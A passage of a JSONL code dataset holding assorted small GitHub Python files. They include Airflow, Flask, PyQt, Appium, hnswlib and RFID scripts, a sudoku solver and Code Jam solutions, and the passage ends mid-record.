source_objects=['data/gcpug_demo_data.json'],\n source_format='NEWLINE_DELIMITED_JSON',\n destination_project_dataset_table='gcpug_shonan.cloud_composer_demo'\n )\n\n local_to_GCS_task >> gcs_to_bq_task","repo_name":"porcos2107/airflow","sub_path":"dags/gcp_demo.py","file_name":"gcp_demo.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18630392765","text":"#Import von Ursina + firstperson\r\nfrom ursina import *\r\nfrom ursina.prefabs.first_person_controller import FirstPersonController\r\n#app starten + Himmel und Player\r\napp = Ursina ()\r\nplayer = FirstPersonController()\r\nSky()\r\n#Liste der Boxen\r\nboxes = []\r\n#zufällige Farbe\r\ndef random_color():\r\n red = random.Random().random() * 255\r\n blue = random.Random().random() * 255\r\n green = random.Random().random() * 255\r\n return color.rgb(red, green, blue)\r\n#Erstellung Boden\r\ndef add_box(position):\r\n boxes.append(\r\n Button(\r\n parent = scene,\r\n model = 'cube',\r\n origin = 0.5,\r\n color = random_color(),\r\n position = position,\r\n texture = 'grass'\r\n )\r\n)\r\n#Funktionen der Maustasten\r\ndef input(key):\r\n for box in boxes:\r\n if box.hovered:\r\n if key == \"left mouse down\":\r\n add_box(box.position + mouse.normal)\r\n if key == \"right mouse down\":\r\n boxes.remove(box)\r\n destroy(box)\r\n#Welt wird erstellt \r\nfor x in range(40):\r\n for y in range(40):\r\n add_box((x, 0, y))\r\n\r\napp.run()\r\n","repo_name":"jschroe87/Portfolio","sub_path":"minecraft.py","file_name":"minecraft.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19519849461","text":"import json\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\npath = \"data/exp2/draw\"\nfile = \"/test_result_\" + path.split('/')[2] + \".json\"\n\ndef drawPlot(xPoints, yPoints, name):\n plt.clf()\n plt.plot(xPoints, yPoints, marker=\".\")\n plt.title = path.split('/')[2] + \"_\" + name\n plt.xlabel = \"topic number\"\n plt.ylabel = \"coherence score\"\n for x, y in zip(xPoints, yPoints):\n plt.text(x, y, y, ha=\"center\", va=\"bottom\", fontsize=8)\n plt.savefig(path + \"/\" + path.split('/')[2] + \"_\" + name + \".png\")\n\ndef vaildFloat(score):\n try:\n num_score = float(score)\n except:\n num_score = 0\n return num_score\n\n\nif __name__ == \"__main__\":\n ##get result\n with open(path+file, \"r\", encoding=\"utf-8\") as f:\n result = json.load(f)\n f.close()\n c_v = []; u_mass = []; c_uci = []; c_npmi = []\n\n for i in result:\n c_v.append(vaildFloat(i['c_v']))\n u_mass.append(vaildFloat(i['u_mass']))\n c_uci.append(vaildFloat(i['c_uci']))\n c_npmi.append(vaildFloat(i['c_npmi']))\n\n #display result\n xpoints = np.array(range(10, 100, 10))\n\n ##u_mass\n drawPlot(xpoints, u_mass, \"u_mass\")\n ##c_v\n drawPlot(xpoints, c_v, \"c_v\")\n ##c_uci\n drawPlot(xpoints, c_uci, \"c_uci\")\n ##c_npmi\n drawPlot(xpoints, c_npmi, \"c_npmi\")","repo_name":"shauangel/test-elda","sub_path":"topic_analyze.py","file_name":"topic_analyze.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12448355815","text":"#!/usr/bin/env python3\n\nimport email\n\ndef email_to_dict(mail):\n return {\n k.capitalize(): str(email.header.make_header(email.header.decode_header(s)))\n for k,s in mail.items()\n }\n\ndef file_to_dict(fname):\n sub = fname.split('-', 1)[0]\n with open(fname, 'r') as f:\n try: return email_to_dict(email.message_from_file(f))\n except: return {\"Subject\": sub}\n\ndef print_line(l):\n for s in l:\n print('\"' + s.replace('\"', '\"\"').replace('\\n', ' ') + '\"', end=',')\n print(\"\")\n\ndef files_to_csv(fnames):\n headers = dict()\n d = []\n for fname in fnames:\n vals = file_to_dict(fname)\n for header in vals.keys(): headers[header] = headers.get(header,0) + 1\n d.append(vals)\n headers = sorted(headers, key=headers.get, reverse=True)\n print_line(headers)\n for mail in d:\n print_line(map(lambda x: mail.get(x, \"\"), headers))\n\nif __name__ == '__main__':\n import sys\n files_to_csv(sys.argv[1:])\n\n \n","repo_name":"lovasoa/eml2csv","sub_path":"eml2csv.py","file_name":"eml2csv.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"23547382021","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Apr 8 06:12:37 2017\r\n\r\n@author: thinus\r\n\"\"\"\r\n\r\n\r\nf = open('/Google 2017/A-large.in','r+')\r\nfo = open('/Google 2017/out.txt','w')\r\nt = int(f.readline())\r\n\r\nfor m in range ( 0, t):\r\n case = f.readline().split()\r\n k = int(case[1])\r\n s = case[0]\r\n answer = 0\r\n for i in range ( 0, len(s)):\r\n if ( s[i] == \"+\"):\r\n #print ('unchanged ',s)\r\n continue\r\n else:\r\n if ( len(s) - i - k >= 0):\r\n for j in range (i, i + k):\r\n if ( s[j] == \"+\"):\r\n s = s[:j] + '-' + s[j + 1:]\r\n else:\r\n s = s[:j] + '+' + s[j + 1:]\r\n answer += 1\r\n #print ('flipped ',s,' count k ',k)\r\n else: \r\n answer = -1\r\n #print ('cannot do ',s,' count k ',k)\r\n break\r\n \r\n if ( answer >= 0):\r\n res = \"Case #{}: {} \".format(m + 1, answer)+'\\n' \r\n #print(res)\r\n fo.write(res)\r\n else:\r\n res = 'Case #{}:'.format(m + 1) + ' IMPOSSIBLE' + '\\n'\r\n #print(res)\r\n fo.write(res)\r\nfo.close()\r\nf.close()\r\n ","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/3757.py","file_name":"3757.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10410801869","text":"from neuroIN.io.dataset import Dataset\nfrom pathlib import Path\nimport numpy as np\nimport pandas as pd\n\ndef merge_datasets(data_dir1, data_dir2, ch_names, targ_dir):\n \"\"\"Merge two datasets into one.\n\n Only channels included in both Datasets will be used.\n\n :param data_dir1: the directory of the first Dataset\n :type data_dir1: str or pathlike\n :param data_dir2: the directory of the second Dataset\n :type data_dir2: str or pathlike\n :param ch_names: channel names to include for the two Datasets, does not need to be same order for both Datasets\n :type ch_names: list\n :param targ_dir: the directory for the merged Dataset\n :type targ_dir: str or pathlike\n \"\"\"\n targ_path = Path(targ_dir)\n targ_path.mkdir(parents=True, exist_ok=True)\n\n dataset1, dataset2 = Dataset(data_dir1), Dataset(data_dir2)\n\n labels = set(dataset1.df['label'].unique()).intersection(set(dataset2.df['label'].unique()))\n\n joined_df = pd.concat([dataset1.df, dataset2.df])\n\n joined_df = joined_df[joined_df['label'].isin(labels)]\n joined_df.to_csv(targ_path / 'annotations.csv')\n\n for data_dir in [data_dir1, data_dir2]:\n dataset = Dataset(data_dir)\n\n assert set(ch_names).issubset(dataset.ch_names)\n\n dataset_ch_names_to_idx = {name: dataset.ch_names.index(name) for name in dataset.ch_names}\n dataset_idxs = [dataset_ch_names_to_idx[n] for n in ch_names]\n\n for f in Path(data_dir).rglob('*.npy'):\n if joined_df['np_file'].str.contains(f.name).any():\n data = np.load(f)\n data = data[dataset_idxs,:]\n\n np.save(targ_path / f.name, data)","repo_name":"markt/neuroIN","sub_path":"src/neuroIN/preprocessing/merge_datasets.py","file_name":"merge_datasets.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"1089892815","text":"from datetime import date\n\nimport pyarrow.parquet as pq\nimport s3fs\nimport pyarrow as pa\n\n\nclass S3Client:\n \"\"\"\n A class to represent a S3 client for input output.\n ...\n Attributes\n ----------\n fs : s3fs.S3FileSystem\n A s3 file system client\n Methods\n -------\n write_df_to_s3(df, bucket_name, path):\n Write a pandas data frame to s3 in parquet format\n read_parquet_from_s3(self, bucket_name, path):\n Read a parquet file from s3 and return it as a pandas data frame\n \"\"\"\n def __init__(self, endpoint, access_key, access_secret, token):\n \"\"\"Constructs an instance of s3fs client\n Parameters\n ----------\n endpoint : str\n endpoint of your s3 server\n access_key : str\n access_key of your s3 account\n access_secret : str\n access_secret of your s3 account\n token: str\n access_token of your s3 account\n \"\"\"\n url = f\"https://{endpoint}\"\n self.fs = s3fs.S3FileSystem(key=access_key, secret=access_secret, token=token,\n client_kwargs={'endpoint_url': url})\n\n # This function write a pandas dataframe to s3 in parquet format\n def write_df_to_s3(self, df, bucket_name, path):\n \"\"\" Write pandas data frame to s3\n Parameters\n ----------\n df : pandas.DataFrame\n a pandas data frame that stores the tweet message\n bucket_name : str\n the name of your s3 bucket\n path : str\n the path that you want to store your data\n Returns\n -------\n None\n \"\"\"\n # Convert pandas df to Arrow table\n table = pa.Table.from_pandas(df)\n file_uri = f\"{bucket_name}/{path}\"\n pq.write_to_dataset(table, root_path=file_uri, filesystem=self.fs)\n\n # This function read a parquet file and return a arrow table\n def read_parquet_from_s3(self, bucket_name, path):\n \"\"\" Read a parquet file from s3\n Parameters\n ----------\n bucket_name : str\n the name of your s3 bucket\n path : str\n the path that you want to store your data\n Returns\n -------\n df : pandas.DataFrame\n a pandas data frame that stores the tweet message\n \"\"\"\n file_uri = f\"{bucket_name}/{path}\"\n dataset = pq.ParquetDataset(file_uri, filesystem=self.fs)\n return dataset.read().to_pandas()\n","repo_name":"avouacr/dsproject","sub_path":"dsproject/infrastructure/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"31159570798","text":"import sys\n\nfrom PyQt6.QtWidgets import QMainWindow, QWidget, QStackedWidget, QTextEdit, QPushButton, QLabel, QGroupBox, QListView, QBoxLayout, QApplication\nfrom PyQt6.QtGui import QStandardItem, QStandardItemModel\nfrom PyQt6.QtCore import QModelIndex, Qt, pyqtSlot\n\n\nclass StWidgetForm(QGroupBox):\n def __init__(self):\n super().__init__()\n self.box = QBoxLayout(QBoxLayout.Direction.TopToBottom)\n self.setLayout(self.box)\n\n \nclass Widget1(StWidgetForm):\n def __init__(self):\n super().__init__()\n self.setTitle(\"Widget1\")\n self.box.addWidget(QPushButton(\"test1\"))\n self.box.addWidget(QPushButton(\"test2\"))\n self.box.addWidget(QPushButton(\"test3\"))\n\n\nclass Widget2(StWidgetForm):\n def __init__(self):\n super().__init__()\n self.setTitle(\"Widget2\")\n self.box.addWidget(QTextEdit())\n\n\nclass Widget3(StWidgetForm):\n def __init__(self):\n super().__init__()\n self.setTitle(\"Widget3\")\n self.box.addWidget(QLabel(\"Test Label\"))\n\n\nclass Form(QWidget):\n def __init__(self):\n super().__init__()\n self.stacked_widget = QStackedWidget(self)\n self.init_widget()\n\n def init_widget(self):\n self.setWindowTitle(\"Stacked Widget Test\")\n widget_layout = QBoxLayout(QBoxLayout.Direction.LeftToRight)\n\n group = QGroupBox()\n box = QBoxLayout(QBoxLayout.Direction.TopToBottom)\n group.setLayout(box)\n group.setTitle(\"Buttons\")\n widget_layout.addWidget(group)\n\n fruits = [\"Buttons in GroupBox\", \"TextBox in GroupBox\", \"Label in GroupBox\", \"TextEdit\"]\n view = QListView(self)\n model = QStandardItemModel()\n \n for f in fruits:\n model.appendRow(QStandardItem(f))\n view.setModel(model)\n box.addWidget(view)\n\n self.stacked_widget.addWidget(Widget1())\n self.stacked_widget.addWidget(Widget2())\n self.stacked_widget.addWidget(Widget3())\n self.stacked_widget.addWidget(QTextEdit())\n\n widget_layout.addWidget(self.stacked_widget)\n self.setLayout(widget_layout)\n\n # signal-slot\n view.clicked.connect(self.slot_clicked_item)\n\n @pyqtSlot(QModelIndex)\n def slot_clicked_item(self, QModelIndex):\n self.stacked_widget.setCurrentIndex(QModelIndex.row())\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n form = Form()\n form.show()\n exit(app.exec())","repo_name":"HJpunch/DeepPrivacy","sub_path":"utils/stacked_widget_test.py","file_name":"stacked_widget_test.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40161260495","text":"'''\n**********************\nAuthor: Billy Cobb\nProject: FileSorter\nCreated on: 10/2/2020\nDiscription: Automatic file sorter for file organization. Files must be\n titled with a file tag somewhere in the file name.\n**********************\n'''\n\nimport os\nfrom time import sleep\n\n''' updated list of file tags used to determine destination dir (one of these tags must be somewhere in the file name) '''\nfile_tags = []\n\n''' updated path to main dir here '''\nmain_dir_path = '.'\n\nwhile True:\n\n with os.scandir(main_dir_path) as i: # creates an itterator i for items in directory\n for item in i:\n for prefix in file_tags:\n if item.name.__contains__(prefix) and item.is_file():\n os.rename(main_dir_path+ '/'+ item.name, main_dir_path+ '/'+ prefix+ '/'+ item.name) # moves file to proper directory\n break # proceeds to next item\n\n sleep(3600) # runs every hour (may be easier just to schedule it see here: https://datatofish.com/python-script-windows-scheduler/)","repo_name":"WMCobb00/FileSorter","sub_path":"FileSorter.py","file_name":"FileSorter.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27576055019","text":"import pandas as pd\nimport dill\nimport json\nimport os\nfrom flask import Flask, request\nimport numpy as np\n\napp = Flask(__name__)\n\n# path = '/home/user/PycharmProjects/app/app/models/'\npath = '/app/app/models/'\n\nwith open(path + 'pipeline.dill', 'rb') as in_strm:\n model = dill.load(in_strm)\n\n\n@app.route('/', methods=['GET'])\ndef general():\n return 'Welcome to prediction process'\n\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n data = {'success': False}\n\n columns = ['age', 'workclass', 'fnlwgt', 'education', 'education.num', 'marital.status',\n 'occupation', 'relationship', 'race', 'capital.gain', 'capital.loss',\n 'hours.per.week']\n test_data = pd.DataFrame(data=[['' for i in range(len(columns))]], columns=columns)\n\n request_json = request.get_json()\n\n for col in test_data.columns:\n if request_json[col] or request_json[col] == 0:\n test_data[col] = request_json[col]\n\n try:\n preds = model.predict_proba(test_data)\n except TypeError as e:\n data['predictions'] = str(e)\n return json.dumps(data)\n\n data['predictions'] = preds[:, 1][0]\n data['success'] = True\n print('OK')\n\n return json.dumps(data)\n\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 8180))\n app.run(host='0.0.0.0', debug=True, port=port)\n","repo_name":"Porfiryeva/docker-flask-app","sub_path":"app/run_server.py","file_name":"run_server.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41439844265","text":"import machine\nimport time\n\ndef parseInfo(id):\n \n print(\"--------\")\n print(\"RAW DATA: \", id)\n if id[0] == 0x2 and id[13] == 0x3:\n print(\"Packet starts with 0x2 and ends with 0x3: OK\")\n str_id = str(id)[6:16]\n checksum = int(str(id)[16:18], 16)\n print(\"Tag ID: %s\" % str_id)\n \n calculatedChecksum = 0\n hex_chunks = [ int(str_id[i:i+2], 16) for i in range(0, len(str_id), 2) ]\n for n in hex_chunks: calculatedChecksum ^= n\n \n print(\"Calculated checksum: %s\" % (\"0x%0.2X\" % calculatedChecksum))\n if checksum == calculatedChecksum:\n print(\"Checksum OK, read successful\")\n else:\n print(\"Checksum error!! (received %s, calculated %s)\" % (hex(checksum), hex(calculatedChecksum)))\n return None\n \n print(\"--------\")\n return str_id\n\ndef main():\n \n uart = machine.UART(0, baudrate=9600, bits=8, parity=None, stop=1, rx=machine.Pin(1))\n readData = bytes()\n clearToReceive = True\n lastRead = time.ticks_ms()\n \n while True:\n if (not clearToReceive) and (time.ticks_diff(time.ticks_ms(), lastRead) > 2000):\n clearToReceive = True\n print(\"Clear to receive!\")\n \n if (uart.any() >= 14 and clearToReceive):\n\n readData = uart.read(14)\n tag_id = parseInfo(readData)\n print(\"remove tag from field\")\n readData = \"\"\n clearToReceive = False\n lastRead = time.ticks_ms() #set last read to now\n uart.read() #flush\n\nmain()\n ","repo_name":"tientuk3/pico_RFID","sub_path":"python_scripts/test_read.py","file_name":"test_read.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11725690067","text":"\"\"\"\nWe're going to create and solve a given Sudoku, in the form of an array, using backtracking.\n\"\"\"\n\n\n# First, a function to print the given board in the form of an array.\n\n\ndef print_board(b):\n for i in range(len(b)):\n if i % 3 == 0 and i != 0:\n print(\"- - - - - - - - - - - - - - - - - - - - - - - - - - - -\")\n for j in range(len(b[0])):\n if j % 3 == 0 and j != 0:\n print(\"|\", end=\" \")\n if j == 8:\n print(\" \", str(b[i][j]))\n else:\n print(\" \", str(b[i][j]), \" \", end=\" \")\n\n\ndef solve(bo):\n index = is_empty(bo)\n if index == [-1, -1]:\n return True\n row = index[0]\n column = index[1]\n for i in range(1, 10):\n if is_valid(row, column, bo, i):\n bo[row][column] = i\n if solve(bo):\n return True\n bo[row][column] = 0\n return False\n\n\n# Now, we'll check for the empty spaces.\n\n\ndef is_empty(b):\n for i in range(len(b)):\n for j in range(len(b[0])):\n if b[i][j] == 0:\n return [i, j]\n return [-1, -1]\n\n\n# checking for all three constraints.\n\n\ndef is_valid(r, c, b, val):\n b_row = r - r % 3\n b_col = c - c % 3\n if check_row(r, b, val) and check_col(c, b, val) and check_three(b_row, b_col, val, b):\n return True\n return False\n\n\n# function to check unique values in a row.\n\n\ndef check_row(row, b, val):\n for i in range(len(b[0])):\n if b[row][i] == val:\n return False\n return True\n\n\n# function to check unique values in a column.\n\n\ndef check_col(col, b, val):\n for i in range(len(b[0])):\n if b[i][col] == val:\n return False\n return True\n\n\n# function to check unique values in a 3x3 boxes.\n\n\ndef check_three(row, col, val, b):\n for i in range(row, row + 3):\n for j in range(col, col + 3):\n if b[i][j] == val:\n return False\n return True\n\n\nbo = [[3, 0, 6, 5, 0, 8, 4, 0, 0],\n [5, 2, 0, 0, 0, 0, 0, 0, 0],\n [0, 8, 7, 0, 0, 0, 0, 3, 1],\n [0, 0, 3, 0, 1, 0, 0, 8, 0],\n [9, 0, 0, 8, 6, 3, 0, 0, 5],\n [0, 5, 0, 0, 9, 0, 6, 0, 0],\n [1, 3, 0, 0, 0, 0, 2, 5, 0],\n [0, 0, 0, 0, 0, 0, 0, 7, 4],\n [0, 0, 5, 2, 0, 6, 3, 0, 0]]\n\nprint(\"The given board is:\")\nprint_board(bo)\nsolve(bo)\nprint(\"\\t\")\nprint(\"After adding values, the board is:\")\nprint_board(bo)\n","repo_name":"fayza-khan/SudokuGame","sub_path":"Sudoku.py","file_name":"Sudoku.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12527909873","text":"from flask import Flask\n\nAPP = Flask(__name__)\n\n### swagger specific ###\nSWAGGER_URL = '/swagger'\nAPI_URL = '/static/swagger.json'\nSWAGGERUI_BLUEPRINT = get_swaggerui_blueprint(\n SWAGGER_URL,\n API_URL,\n config={\n 'app_name': \"Seans-Python-Flask-REST-Boilerplate\"\n }\n)\nAPP.register_blueprint(SWAGGERUI_BLUEPRINT, url_prefix=SWAGGER_URL)\n### end swagger specific ###","repo_name":"PiotrZak/hack4law","sub_path":"Engine/spacy-test/static/swagger.py","file_name":"swagger.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42267767154","text":"import os\n\nimport hnswlib\nfrom gensim.models.doc2vec import Doc2Vec\nfrom gensim.models.word2vec import Word2Vec\nfrom smart_open import smart_open\n\ntry:\n import cPickle as _pickle\nexcept ImportError:\n import pickle as _pickle\n\n\nclass HnswIndexer(object):\n\n def __init__(self, model=None):\n self.index = None\n self.labels = None\n self.model = model\n\n if model:\n if isinstance(self.model, Doc2Vec):\n self.build_from_doc2vec()\n elif isinstance(self.model, Word2Vec):\n self.build_from_word2vec()\n else:\n raise ValueError(\"Only a Word2Vec or Doc2Vec instance can be used\")\n\n def save(self, fname, protocol=2):\n fname_dict = fname + '.d'\n self.index.save_index(fname)\n d = {'f': self.model.vector_size, 'labels': self.labels}\n with smart_open(fname_dict, 'wb') as fout:\n _pickle.dump(d, fout, protocol=protocol)\n\n def load(self, fname):\n fname_dict = fname+'.d'\n if not (os.path.exists(fname) and os.path.exists(fname_dict)):\n raise IOError(\n \"Can't find index files '%s' and '%s' - Unable to restore HnswIndexer state.\" % (fname, fname_dict))\n else:\n with smart_open(fname_dict) as f:\n d = _pickle.loads(f.read())\n self.index = hnswlib.Index(space='cosine', dim=200)\n self.index.load_index(fname)\n self.index.set_ef(10000)\n self.labels = d['labels']\n\n def build_from_word2vec(self):\n \"\"\"Build an Annoy index using word vectors from a Word2Vec model\"\"\"\n\n self.model.init_sims()\n return self._build_from_model(self.model.wv.syn0norm, self.model.index2word\n , self.model.vector_size)\n\n def build_from_doc2vec(self):\n \"\"\"Build an hnsw index using document vectors from a Doc2Vec model\"\"\"\n\n docvecs = self.model.docvecs\n docvecs.init_sims()\n labels = [docvecs.index_to_doctag(i) for i in range(0, docvecs.count)]\n return self._build_from_model(docvecs.doctag_syn0norm, labels, self.model.vector_size)\n\n def _build_from_model(self, vectors, labels, num_features):\n index = hnswlib.Index(space='cosine', dim=200)\n index.init_index(max_elements=25000000, ef_construction=2000, M=64)\n index.add_items(vectors)\n self.index = index\n self.labels = labels\n\n def set_ef(self, ef):\n self.index.set_ef(ef)\n\n def most_similar(self, vector, num_neighbors):\n \"\"\"Find the top-N most similar items\"\"\"\n ids, distances = self.index.knn_query(vector, k=num_neighbors)\n \n return [(self.labels[ids[0][i]], 1 - distances[0][i] / 2) for i in range(len(ids[0]))]\n","repo_name":"RyanLiGod/Semantic-Recommender","sub_path":"hnsw_util.py","file_name":"hnsw_util.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"26729017186","text":"G = [ \n\t[1, 2, 3],\n\t[0, 2],\n\t[0, 1, 3],\n\t[0, 2],\n\t]\n\n\ndef cykl4(G):\n\tn = len(G)\n\tT = [[False]*n for _ in range(n)]\n\n\tfor v in range(n):\n\t\tnn = len(G[v])\n\t\tfor a in range(nn):\n\t\t\tfor b in range(a+1, nn):\n\t\t\t\tva = G[v][a]\n\t\t\t\tvb = G[v][b]\n\t\t\t\tif T[va][vb]:\n\t\t\t\t\treturn True, T\n\t\t\t\telse:\n\t\t\t\t\tT[va][vb] = True\n\n\treturn False, T\n\na, t = cykl4(G)\nprint(a)\nfor row in t:\n\tprint(row)","repo_name":"wojtke/agh-asd","sub_path":"graph/shortest paths, flow/search for cycle of length 4.py","file_name":"search for cycle of length 4.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16326370175","text":"print('''\neleição 2022\n[1] - [nulo]\n[2] - [Lula]\n[3] - [Bolsonaro]\n[4] - [Ciro]\n[111] - [Encerrar]\n ''')\nvoto = nulo = bolsonaro = lula = ciro = 0\ncont = 1\nwhile voto != 111:\n voto = int(input('próximo eleitor, qual seu voto [111 - para encerrar as votações]:'))\n cont += 1\n if voto == 1:\n nulo += 1\n print('voto nulo registrado com sucesso')\n if voto == 2:\n lula += 1\n print('voto em Lula registrado com sucesso.')\n if voto == 3:\n bolsonaro += 1\n print('voto em Bolsonaro registrado com sucesso.')\n if voto == 4:\n ciro += 1\n print('Voto em Ciro registrado com sucesso.')\n if voto != 1 and voto != 2 and voto != 3 and voto != 4:\n print('opção inválida, tente novamente.')\n cont -= 1\n\n\nmaior = nulo\nmenor = nulo\n\nif lula > maior:\n maior = lula\nif bolsonaro > maior:\n maior = bolsonaro\nif ciro > maior:\n maior = ciro\n\nprint(f'''\nFIM DAS ELEIÇÕES 2022\nHOUVERAM {cont -1} ELEITORES PRESENTES\nos resultados foram nulo: {nulo} - Lula:{lula} - Bolsonaro:{bolsonaro} - Ciro:{ciro} \n\n''')","repo_name":"programadorflavio/Urna_Eletronica","sub_path":"urna.py","file_name":"urna.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28035878241","text":"from selenium.webdriver.support.ui import WebDriverWait\nfrom appium import webdriver\nimport time\ndef connect():\n desired_caps = {\n 'platformName': 'Android',\n 'platformVersion': '6.0.1', # 安卓系统的版本号:adb shell getprop ro.build.version.release\n 'deviceName':'OPPO R9s', # 手机/模拟器的型号:adb shell getprop ro.product.model\n 'appPackage':'com.fs.wawh',\n 'appActivity':'.activities.SplashActivity',\n 'unicodeKeyboard':True, # 为了支持中文\n 'resetKeyboard':True, # 设置成appium自带的键盘\n \"noReset\": True,\n # 'uiautomationName':'uiautomator2'\n }\n driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\n return driver\n time.sleep(5)\n\n\ndef find_element(driver, locator, timeout=30):\n \"\"\"\n 方法名:显式等待:查找元素\n 参数:\n driver:手机的把柄\n locator:元素定位的方式\n 格式:\n - find_element_by_id: (\"id\", \"value\")\n - find_element_by_xpath: (\"xpath\",\"value\")\n - find_element_by_accessbility_id:(\"aid\",\"value\")\n - find_element_by_android_uiautomator: (\"text\", \"Search\")\n timeout: 超时时间,默认30秒\n 返回值:\n - 找到了元素:返回元素\n - 没有找到元素:直接报错:timeout错误\n \"\"\"\n if locator[0] == \"aid\":\n locator = (\"accessibility id\", locator[1]) # 把自定义的aid变成了原生支持的方式\n if locator[0] == \"text\":\n locator = (\"-android uiautomator\", 'new UiSelector().text(\"{}\")'.format(locator[1]))\n \n return WebDriverWait(driver, timeout).until(lambda s: s.find_element(*locator))\n\n\ndef assert_element_exist(driver, locator, timeout=30):\n \"\"\"\n 判断元素是否存在\n 参数:\n driver:手机的把柄\n locator:元素定位的反视\n 格式:\n - find_element_by_id: (\"id\", \"value\")\n - find_element_by_xpath: (\"xpath\",\"value\")\n - find_element_by_accessbility_id:(\"aid\",\"value\")\n - find_element_by_android_uiautomator: (\"text\", \"Search\")\n timeout: 超时时间,默认30秒\n 返回值:\n - 找到了元素:返回元素\n - 没有找到元素:直接报错:timeout错误\n \"\"\"\n try:\n find_element(driver, locator, timeout)\n return True\n except:\n return False\n\n\n \n","repo_name":"YIER34/wawh_test","sub_path":"case/appiumtools.py","file_name":"appiumtools.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27582430314","text":"import logging\n\nfrom drp_1dpipe.core.utils import get_auxiliary_path, get_conf_path\n\nconfig_defaults = {\n # Global programm options\n 'config': get_conf_path(\"pre_process.json\"),\n 'workdir': '.',\n 'logdir': 'logdir',\n 'loglevel': 'INFO',\n 'log_level': 30,\n # Specific programm options\n 'bunch_size': 8,\n 'spectra_dir': 'spectra',\n 'bunch_list': 'spectralist.json',\n 'output_dir':'output'\n }","repo_name":"Subaru-PFS/drp_1dpipe","sub_path":"drp_1dpipe/pre_process/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23625381261","text":"def explode(s, c):\r\n t = []\r\n s += c;\r\n p = 0;\r\n for i in range(len(s)):\r\n if (s[i] == c or s[i] == \"\\n\") and s[p:i] != \"\" and s[p:i] != \"\\n\":\r\n t.append(s[p:i])\r\n p = i + 1\r\n return t\r\n\r\ndef findGames(data):\r\n games = 0\r\n for i in data:\r\n if i != '.': games+=1\r\n return games\r\n\r\ndef findWP(data):\r\n wins = 0\r\n games = 0\r\n for i in data:\r\n if i == '1': wins+=1\r\n if i != '.': games+=1\r\n return float(wins)/games\r\n\r\ndef getWPWithoutTeam(WP, games, data, team):\r\n wins = WP * games\r\n if data[team] == '0': wins -= 1\r\n if data[team] != '.': games -= 1\r\n return wins / games\r\n\r\ndef solveCase(schedule):\r\n out = \"\"\r\n games = []\r\n for i in schedule:\r\n games.append(findGames(i))\r\n WP = []\r\n for i in schedule:\r\n WP.append(findWP(i))\r\n\r\n OWP = []\r\n for i in range(len(schedule)):\r\n avg = 0\r\n count = 0\r\n for j in range(len(schedule)):\r\n if j != i and schedule[i][j] != '.':\r\n avg += getWPWithoutTeam(WP[j], games[j], schedule[i], j)\r\n count += 1\r\n OWP.append(avg/count)\r\n\r\n OOWP = []\r\n for i in range(len(schedule)):\r\n avg = 0\r\n count = 0\r\n for j in range(len(schedule)):\r\n if j != i and schedule[i][j] != '.':\r\n avg += OWP[j]\r\n count += 1\r\n avg /= count\r\n OOWP.append(avg)\r\n\r\n for i in range(len(schedule)):\r\n out += '\\n' + str(0.25 * WP[i] + 0.5 * OWP[i] + 0.25 * OOWP[i])\r\n return out\r\n\r\ndef process(data):\r\n for i in range(len(data)): data[i] = explode(data[i], '\\n')[0]\r\n out = \"\"\r\n i = 1\r\n for case in range(int(data[0])):\r\n if case > 0: out += '\\n'\r\n out += \"Case #\" + str(case+1) + \": \"\r\n n = int(data[i])\r\n schedule = []\r\n for j in range(int(n)): schedule.append(data[i+1+j])\r\n i += (1+int(n))\r\n out += solveCase(schedule)\r\n return out\r\n\r\ndef main(fn):\r\n iFile = open(fn + \".in\", 